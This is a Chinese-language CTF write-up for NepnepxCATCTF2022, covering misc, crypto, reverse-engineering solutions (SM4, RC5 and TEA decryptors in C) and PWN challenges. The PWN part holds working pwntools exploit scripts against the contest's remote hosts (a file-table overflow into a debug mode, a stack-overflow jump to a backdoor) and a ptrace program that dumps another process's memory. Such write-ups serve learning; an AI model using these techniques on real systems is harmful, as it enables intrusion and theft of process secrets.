NepnepxCATCTF2022 writeup by TokameinE

First Post:

2023-01-02

Last Update:

2023-08-22

闲言

感觉大佬们都没来，让我混到第三名了。估计二进制大佬们全都是打 ASIS final 了，就我这个废物不配打QAQ

题目感觉都不是很难，主要还是我比较菜，做题速度太慢了，以及第一天睡大觉晚了好久上线，不然可能可以多刷几个前三血，不过没奖励，前十血就能捐猫粮了，也就无所谓了。

PWN这边内核直接不会，开始摆烂，其他几题看到后面已经完全摆烂了，就没继续看了。injection2.0 那道题本地的环境一直打不开，最后开了远程环境随便看了看感觉还行就搞了一下。

RE的话 CatFly 没搞出来可惜了，算法没抄明白，有时间的话再试试看吧。

MISC 纯摆烂了，做不明白，就拿 010 看了几个，能看出来的就做了，看不出来的就摆了。几个题目猜到可能是工具，但是懒得下了就不做了。还有几个从头到尾就没看懂要干什么，放弃。

整个比赛打下来感觉没啥收获，感觉跟复健似的，等一波其他大佬的 WP 吧。密码一题也没做出来，有几个签到题还是想看看的，以及 CatFly 那题也想看看该怎么抄代码，其他的就随便看看吧。PWN 那边没啥体力继续看了，有心情了再看看吧。

MISC

Cat_Jump

010 直接查就完事了，属于是意料之外：

MeowMeow

图片尾巴有 base64 和一大堆数据，解出来 base64 说是 ASCII art，猜是二进制看的。本来要写脚本，但是 010 确实好用，直接看就完事了：

CatchCat

最开始没做出来，找了半天工具没找到，第二天随便搜了一下搜到在线工具了，放大了直接看就行了：

Nepnep 祝你新年快乐啦！

CatFlag

确实是 CatFlag：

Crypto

cat’s gift

1 - 1/3 + 1/5 - 1/7 + … 的积分是 pi/4，所以礼物应该是 pi，但是试了半天没对，改成 pie 就对了，难崩……

Reverse

StupidOrangeCat2

一个 SM4，一个 RC5，找到密文直接解就行了。不过 RC5 没用到密钥，或者说用了默认密钥：

SM4

#include "chacha20.h"

void four_uCh2uLong(u8* in, u32* out)
{
    int i = 0;
    *out = 0;
    for (i = 0; i < 4; i++)
        *out = ((u32)in[i] << (24 - i * 8)) ^ *out;
}

void uLong2four_uCh(u32 in, u8* out)
{
    int i = 0;
    //从32位unsigned long的高位开始取
    for (i = 0; i < 4; i++)
        *(out + i) = (u32)(in >> (24 - i * 8));
}

u32 move(u32 data, int length)
{
    u32 result = 0;
    result = (data << length) ^ (data >> (32 - length));

    return result;
}

u32 func_key(u32 input)
{
    int i = 0;
    u32 ulTmp = 0;
    u8 ucIndexList[4] = { 0 };
    u8 ucSboxValueList[4] = { 0 };
    uLong2four_uCh(input, ucIndexList);
    for (i = 0; i < 4; i++)
    {
        ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
    }
    four_uCh2uLong(ucSboxValueList, &ulTmp);
    ulTmp = ulTmp ^ move(ulTmp, 13) ^ move(ulTmp, 23);

    return ulTmp;
}

u32 func_data(u32 input)
{
    int i = 0;
    u32 ulTmp = 0;
    u8 ucIndexList[4] = { 0 };
    u8 ucSboxValueList[4] = { 0 };
    uLong2four_uCh(input, ucIndexList);
    for (i = 0; i < 4; i++)
    {
        ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
    }
    four_uCh2uLong(ucSboxValueList, &ulTmp);
    ulTmp = ulTmp ^ move(ulTmp, 2) ^ move(ulTmp, 10) ^ move(ulTmp, 18) ^ move(ulTmp, 24);

    return ulTmp;
}
void encode_fun(u8 len, u8* key, u8* input, u8* output)
{
    int i = 0, j = 0;
    u8* p = (u8*)malloc(50);      //定义一个50字节缓存区
    u32 ulKeyTmpList[4] = { 0 };   //存储密钥的u32数据
    u32 ulKeyList[36] = { 0 };     //用于密钥扩展算法与系统参数FK运算后的结果存储
    u32 ulDataList[36] = { 0 };    //用于存放加密数据
    four_uCh2uLong(key, &(ulKeyTmpList[0]));
    four_uCh2uLong(key + 4, &(ulKeyTmpList[1]));
    four_uCh2uLong(key + 8, &(ulKeyTmpList[2]));
    four_uCh2uLong(key + 12, &(ulKeyTmpList[3]));

    ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0];
    ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1];
    ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2];
    ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3];

    for (i = 0; i < 32; i++)             //32次循环迭代运算
    {
        ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]);
    }
    for (i = 0; i < len; i++)        //将输入数据存放在p缓存区
        *(p + i) = *(input + i);
    for (i = 0; i < 16 - len % 16; i++)//将不足16位补0凑齐16的整数倍
        *(p + len + i) = 0;

    for (j = 0; j < len / 16 + ((len % 16) ? 1 : 0); j++) 
    {
        four_uCh2uLong(p + 16 * j, &(ulDataList[0]));
        four_uCh2uLong(p + 16 * j + 4, &(ulDataList[1]));
        four_uCh2uLong(p + 16 * j + 8, &(ulDataList[2]));
        four_uCh2uLong(p + 16 * j + 12, &(ulDataList[3]));
        for (i = 0; i < 32; i++)
        {
            ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[i + 4]);
        }
        uLong2four_uCh(ulDataList[35], output + 16 * j);
        uLong2four_uCh(ulDataList[34], output + 16 * j + 4);
        uLong2four_uCh(ulDataList[33], output + 16 * j + 8);
        uLong2four_uCh(ulDataList[32], output + 16 * j + 12);
    }
    free(p);
}

void decode_fun(u8 len, u8* key, u8* input, u8* output)
{
    int i = 0, j = 0;
    u32 ulKeyTmpList[4] = { 0 };//存储密钥的u32数据
    u32 ulKeyList[36] = { 0 };  //用于密钥扩展算法与系统参数FK运算后的结果存储
    u32 ulDataList[36] = { 0 }; //用于存放加密数据
    four_uCh2uLong(key, &(ulKeyTmpList[0]));
    four_uCh2uLong(key + 4, &(ulKeyTmpList[1]));
    four_uCh2uLong(key + 8, &(ulKeyTmpList[2]));
    four_uCh2uLong(key + 12, &(ulKeyTmpList[3]));

    ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0];
    ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1];
    ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2];
    ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3];

    for (i = 0; i < 32; i++)            
    {
        ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]);
    }
    for (j = 0; j < len / 16; j++)
    {
        four_uCh2uLong(input + 16 * j, &(ulDataList[0]));
        four_uCh2uLong(input + 16 * j + 4, &(ulDataList[1]));
        four_uCh2uLong(input + 16 * j + 8, &(ulDataList[2]));
        four_uCh2uLong(input + 16 * j + 12, &(ulDataList[3]));
        for (i = 0; i < 32; i++)
        {
            ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[35 - i]);
        }
        uLong2four_uCh(ulDataList[35], output + 16 * j);
        uLong2four_uCh(ulDataList[34], output + 16 * j + 4);
        uLong2four_uCh(ulDataList[33], output + 16 * j + 8);
        uLong2four_uCh(ulDataList[32], output + 16 * j + 12);
    }
}

void print_hex(u8* data, int len)
{
    int i = 0;
    char alTmp[16] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' };
    for (i = 0; i < len; i++)
    {
        printf("%c", alTmp[data[i] / 16]);
        printf("%c", alTmp[data[i] % 16]);
        putchar(' ');
    }
    putchar('\n');
}
int main(void)
{

    unsigned char a91tNhn90uTlt1l[] =
    {
      0x5B, 0x40, 0x39, 0x31, 0x54, 0x25, 0x4E, 0x68, 0x6E, 0x7B,
      0x39, 0x30, 0x55, 0x40, 0x74, 0x6C, 0x54, 0x25, 0x31, 0x6C,
      0x54, 0x24, 0x64, 0x70, 0x68, 0x50, 0x68, 0x66, 0x69, 0x40,
      0x39, 0x31, 0x4F, 0x00
    };
    for (int i = 0; i < 33; i += 4)
    {
        a91tNhn90uTlt1l[i] ^= 0xC;
        a91tNhn90uTlt1l[i + 1] ^= 0x17;
    }//You_can_take_me_with_you
    //CAT_IN_X_19_Y_39
    //_CATLOVE_OR_LIKE
    // LIKE_OR_LOVE_CAT
    //EKIL_RO_EVOLTAC_
    //CatCTF{You_can_take_me_with_you_CAT_IN_X_19_Y_39_}
    //CAT_IN_X_19_Y_39_LIKE_OR_LOVE_CAT
    u8 i, len;
    u8 encode_Result[50] = { 0 };    //定义加密输出缓存区
    u8 decode_Result[50] = { 0 };    //定义解密输出缓存区
    unsigned char key[] = "wuwuwuyoucatchme";
    u8 Data_plain[16] = { 0xB6,0x75,0xE1,0x79,0x70,0xC1,0x27,0x48,9,0xB,0xB6,0x4D,2,0xBC,6,0x19 };
    len = 16 * (sizeof(Data_plain) / 16) + 16 * ((sizeof(Data_plain) % 16) ? 1 : 0);

    decode_fun(len, key, Data_plain, decode_Result); 
    printf("解密后数据是：\n");
    for (i = 0; i < len; i++)
        printf("%x ", *(decode_Result + i));

    system("pause");
    return 0;
}

RC5

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#include <math.h>     
int w = 32;//字长 32bit 4字节 
int r = 12;//12;//加密轮数12 
int b = 16;//主密钥(字节为单位8bit)个数  这里有16个
int t = 26;//2*r+2=12*2+2=26 
int c = 4; //主密钥个数*8/w = 16*8/32  
typedef unsigned long int FOURBYTEINT;//四字节 
typedef unsigned short int TWOBYTEINT;//2字节 
typedef unsigned char BYTE;
void InitialKey(unsigned char* KeyK, int b);
void generateChildKey(unsigned char* KeyK, FOURBYTEINT* ChildKeyS);
void Encipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S);
void Decipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S);
void InitialKey(unsigned char* KeyK, int b)
{
    int i, j;
    int intiSeed = 3;
    for (i = 0; i < b; i++)
    {
        KeyK[i] = 0;
    }
    KeyK[0] = intiSeed;
    printf("初始主密钥(16字节共128位)：%.2lx ", KeyK[0]);
    for (j = 1; j < b; j++)
    {
        KeyK[j] = (BYTE)((int)pow(3, j) % (255 - j));
        printf("%.2X ", KeyK[j]);
    }
    printf("\n");
}
void generateChildKey(unsigned char* KeyK, FOURBYTEINT* ChildKeyS)
{
    int PW = 0xB7E15163;//0xb7e1; 
    int QW = 0x9E3779B9;//0x9e37;//genggai 
    int i;
    int u = w / 8;// b/8; 
    FOURBYTEINT A, B, X, Y;
    FOURBYTEINT L[4]; //c=16*8/32
    A = B = X = Y = 0;
    ChildKeyS[0] = PW;
    printf("\n初始子密钥（没有主密钥的参与）：\n%.8X ", ChildKeyS[0]);
    for (i = 1; i < t; i++)   //t=26
    {
        if (i % 13 == 0)printf("\n");
        ChildKeyS[i] = (ChildKeyS[i - 1] + QW);
        printf("%.8X ", ChildKeyS[i]);
    }
    printf("\n");
    for (i = 0; i < c; i++)
    {
        L[i] = 0;
    }

    for (i = b - 1; i != -1; i--)
    {
        L[i / u] = (L[i / u] << 8) + KeyK[i];
    }
    printf("\n把主密钥变换为4字节单位：\n");
    for (i = 0; i < c; i++)
    {
        printf("%.8X ", L[i]);
    }
    printf("\n\n");
    for (i = 0; i < 3 * t; i++)
    {
        X = ChildKeyS[A] = ROTL(ChildKeyS[A] + X + Y, 3);
        A = (A + 1) % t;
        Y = L[B] = ROTL(L[B] + X + Y, (X + Y));
        B = (B + 1) % c;
    }
    printf("生成的子密钥（初始主密钥参与和初始子密钥也参与）：");
    for (i = 0; i < t; i++)
    {
        if (i % 13 == 0)printf("\n");
        printf("%.8X ", ChildKeyS[i]);
    }
    printf("\n\n");
}
void Encipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S)
{
    FOURBYTEINT X, Y;
    int i, j;
    for (j = 0; j < NoOfData; j += 2)
    {
        X = In[j] + S[0];
        Y = In[j + 1] + S[1];
        for (i = 1; i <= r; i++)
        {
            X = ROTL((X ^ Y), Y) + S[2 * i];
            Y = ROTL((Y ^ X), X) + S[2 * i + 1];
        }
        Out[j] = X;
        Out[j + 1] = Y; //密文 
    }
}

void Decipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S)
{
    int i = 0, j;
    FOURBYTEINT X, Y;
    for (j = 0; j < NoOfData; j += 2)
    {
        X = In[j];
        Y = In[j + 1];
        for (i = r; i > 0; i--)
        {
            Y = ROTR(Y - S[2 * i + 1], X) ^ X;
            X = ROTR(X - S[2 * i], Y) ^ Y;
        }
        Out[j] = X - S[0];
        Out[j + 1] = Y - S[1];
    }
}

int main(void)
{
    int k;
    FOURBYTEINT ChildKeyS[2 * 12 + 2];
    FOURBYTEINT ChildKey1[26];
    BYTE KeyK[16];
    FOURBYTEINT Source[] = { 0x936AB12C,0xED8330B5,0xEE5C5E88,0xE10B508C };
    FOURBYTEINT Dest[NoOfData];             
    FOURBYTEINT Data[NoOfData] = { 0 };    

    InitialKey(KeyK, b);
    generateChildKey(KeyK, ChildKeyS); 

    printf("加密以前的明文:");
    for (k = 0; k < NoOfData; k++)
    {
        if (k % 2 == 0)
        {
            printf("  ");
        }
        printf("%.8X ", Source[k]); 
    }
    printf("\n");
    for (k = 0; k < 26; k++)
    {
        ChildKey1[k] = ChildKeyS[k];                    
    }
    Decipher(Source, Data, ChildKey1); //解密 
    printf("解密以后的明文:");
    char* flag = (char*)Data;
    for (int k = 0; k < 16; k++) {
        printf("%c", flag[k]);
    }
}

就是发现还有一串 base64 微改之后的加密，似乎是调试的时候才会出现，不过没发现有什么用，白解了半天，呜呜。

ReadingSection

llvm ir 写的，直接安装 llvm 的组件后把 ir 编译成 .o 文件就可以拿 IDA 读了。

打开一看发现是 TEA，另外还有一个异或：

#include <stdio.h>  
#include <stdint.h>  
void decrypt(uint32_t * v, uint32_t * k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0xCA7C7F00*28, i;  /* set up */
    uint32_t delta = 0xCA7C7F00;                     /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
    for (i = 0; i < 28; i++) {                         /* basic cycle start */
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0] = v0; v[1] = v1;
}
int main()
{
    unsigned char _L__const__Z5checkv_rightcat[] =
    {
      0xAA, 0x7D, 0x07, 0x7D, 0xB1, 0xF7, 0x80, 0x71, 0xDA, 0xAF,
      0x23, 0xE5, 0x10, 0x07, 0x58, 0x57, 0x1E, 0xF7, 0x7D, 0x71,
      0xE6, 0x78, 0x74, 0x56, 0x9B, 0xC0, 0x53, 0x11, 0xF3, 0x39,
      0x31, 0x2E
    };
    uint32_t k[] = { 0x18BC8A17 ,0x29D3CE1E ,0x42F740E3 ,0x199C7F4A };
    decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat)), k);
    decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat))+2, k);
    decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat))+4, k);
    decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat))+6, k);
    for (int i = 30; i >= 0; i--)
    {
        _L__const__Z5checkv_rightcat[i] ^= _L__const__Z5checkv_rightcat[i + 1];
    }
    printf("%s", _L__const__Z5checkv_rightcat);
}

The cat did it

没啥头绪，纯考猜。看他问概率多少，直接猜了 0%，然后就对了，反正我自己也没搞明白。

PWN

vmbyhrp

DEBUG 模式里有一个 charge_file 可以从外面读文件：

因此关键就是进入 DEBUG 模式了。发现需要 users 和 users+4 都为 0 才能进，转而发现创建文件的函数：

__int64 __fastcall create_file(__int64 a1)
{
  __int64 result; // rax
  int v2; // ebx

  result = check_repeat(a1);
  if ( result )
  {
    *(&unk_204130 + 4 * file_count) = global_fd;
    *(&unk_204128 + 4 * file_count) = a1;
    *(&HF + 4 * file_count) = 1000LL;
    v2 = file_count;
    *(&unk_204138 + 4 * v2) = malloc(0x1000uLL);
    printf("FILE CONTENT: ");
    read(0, *(&unk_204138 + 4 * file_count), 0x1000uLL);
    deleEnter(*(&unk_204138 + 4 * file_count));
    ++file_count;
    result = ++global_fd;
  }
  return result;
}

没有检查数量，因此可以创建很多文件去把结构体溢出到 user。

然后注意到 HRP_OPEN 可以用输入去覆盖相应偏移处的值：

unsigned __int64 __fastcall HRP_OPEN(int a1, int a2)
{
  int i; // [rsp+1Ch] [rbp-24h]
  char v4[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < file_count; ++i )
  {
    if ( a1 == *(&unk_204130 + 4 * i) )
    {
      *(&HF + 4 * i) = a2;//<------这里可以覆盖
      return __readfsqword(0x28u) ^ v5;
    }
  }
  clearScreen();
  puts("NOT FOUND,PLEASE NEW FILE");
  printf("%s", "FILE NAME: ");
  __isoc99_scanf("%16s[^\n ]", v4);
  getchar();
  deleEnter(v4);
  create_file(v4);
  return __readfsqword(0x28u) ^ v5;
}

所以思路就是创建很多文件，然后用汇编去覆盖 users 变量，最后进 DEBUG 模式把文件读进来，然后用 cat 拿出来：

from pwn import *

#p=process("./HRPVM")
p=remote("223.112.5.156",60024)
#gdb.attach(p,"b*$rebase(0x2DFF)\nb*$rebase(0x2950)\nb*$rebase(0x25B2)")
p.recvuntil("NAME:")
name="HRPHRP"
password="PWNME"
p.sendline(name)
p.recvuntil("PASSWORD:")
p.sendline(password)
p.recvuntil("[+]HOLDER:")
p.sendline("aaaaaaaaaaaaaaaa")
def send_res(payload):
    p.recvuntil("HRP-MACHINE$ ")
    p.sendline(payload)
def send_res2(payload):
    p.recvuntil("[DEBUGING]root#")
    p.sendline(payload)

payload="file"
for i in range(30):
    send_res("file")
    p.recvuntil("FILE NAME: ")
    p.sendline("a"+str(i))
    p.recvuntil("FILE CONTENT: ")
    p.sendline("mov rdi,36;mov rsi,1001;call open,2;")

send_res("file")
p.recvuntil("FILE NAME: ")
p.sendline("a30")
p.recvuntil("FILE CONTENT: ")
p.sendline("mov rdi,35;mov rsi,0;call open,2;")

send_res("file")
p.recvuntil("FILE NAME: ")
p.sendline("a31")
p.recvuntil("FILE CONTENT: ")
p.sendline("mov rdi,35;mov rsi,0;call open,2;")

send_res("./a30")
send_res("DEBUG")
send_res2("file input")
p.recvuntil("FILE NAME:")
p.sendline("flag")
send_res2("mmap")
p.recvuntil("EXPEND:")
p.sendline(str(0x400000))
send_res2("exit")

send_res("reboot")
p.recvuntil("NAME:")
p.sendline(name)
p.recvuntil("PASSWORD:")
p.sendline(password)
p.recvuntil("[+]HOLDER:")
p.sendline(p64(0x400000))
send_res("./a0")
send_res("cat flag")
p.interactive()

不过有一个小问题，当我把 flag 读进来之后用 exit 返回用户模式时，直接 cat 会引发崩溃。根据崩溃报告发现，似乎会正好引用 HOLDER 处的内存。因此 DEBUG 下还得调用 mmap 开辟一下空间，然后 reboot 设置 HOLDER 为开辟出来的可以读写的内存，这样才不会崩溃。

bitcoin

栈溢出，有后门，直接跳过去就是了，没啥好说的：

from pwn import *

#p=process("./pwn")
p=remote("223.112.5.156",57023)
#gdb.attach(p,"set follow-fork-mode parent\nb*0x40223B")
p.recvuntil("CTF!")
p.sendline("\n")
p.recvuntil("Name: ")
p.sendline("aaa")
p.recvuntil("Password: ")
payload=b"a"*(64)+p64(0x06092C0+0x420)+p64(0x404EA4)
p.sendline(payload)
p.interactive()

injection2.0

whoami 一看是 root，搜了一下似乎用 ptrace 能直接去读取其他进程的内存，于是就把整个栈全都读出来就可以了：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <errno.h>
int main(int argc, char *argv[]){
    off_t start_addr;
    pid_t pid;
    char s1[]="131";
    start_addr=0x7ffc08baf000;
    pid = atoi(s1);
    printf("%lx\n",start_addr);
    int ptrace_ret;
    ptrace_ret = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
    if (ptrace_ret == -1) {
        fprintf(stderr, "ptrace attach failed.\n");
        perror("ptrace");
        return -1;
    }

    if (waitpid(pid, NULL, 0) == -1) {
        fprintf(stderr, "waitpid failed.\n");
        perror("waitpid");
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        return -1;
    }
    int fd;
    char path[256] = {0};
    sprintf(path, "/proc/%d/mem", pid);
    fd = open(path, O_RDWR);
    if (fd == -1) {
        fprintf(stderr, "open file failed.\n");
        perror("open");
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        return -1;
    }
    off_t off;
    off = lseek(fd, start_addr, SEEK_SET);
    if (off == (off_t)-1) {
        fprintf(stderr, "lseek failed.\n");
        perror("lseek");
        ptrace(PTRACE_DETACH, pid, NULL, NULL);
        close(fd);
        return -1;
    }
    else{
        printf("lseek sucess\n");    }
        unsigned char *buf = (unsigned char *)malloc(0x21000);
        int rd_sz;
        while(rd_sz=read(fd,buf,0x21000)){
        if(rd_sz<10){
            perror("read");
            break;
    }
    printf("%lx\n",rd_sz);
    for(int i=0;i<0x21000;i++){
        printf("%c",buf[i]);
    }
    printf("\n");
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    free(buf);
    close(fd);
    return 0;
    }
}

不过直接读出来的东西似乎显示的很不完全，我一度以为自己的方法不行，最后直接把内容 base64 后拉到本地再解回去看了，然后就发现还是有的：

welcome_CAT_CTF

这题我是直接拿 gdb 搞定的，没写 exp。题目给了服务端和客户端，然后分数是储存在客户端的，所以直接用 gdb 改内存设成大数，然后直接改寄存器跳转执行后门函数就可以了（忘记截图了）

WEB

ez_js

访问一下那个 game.js 就发现里面写了 flag 的路径，然后直接过去就行了：

≡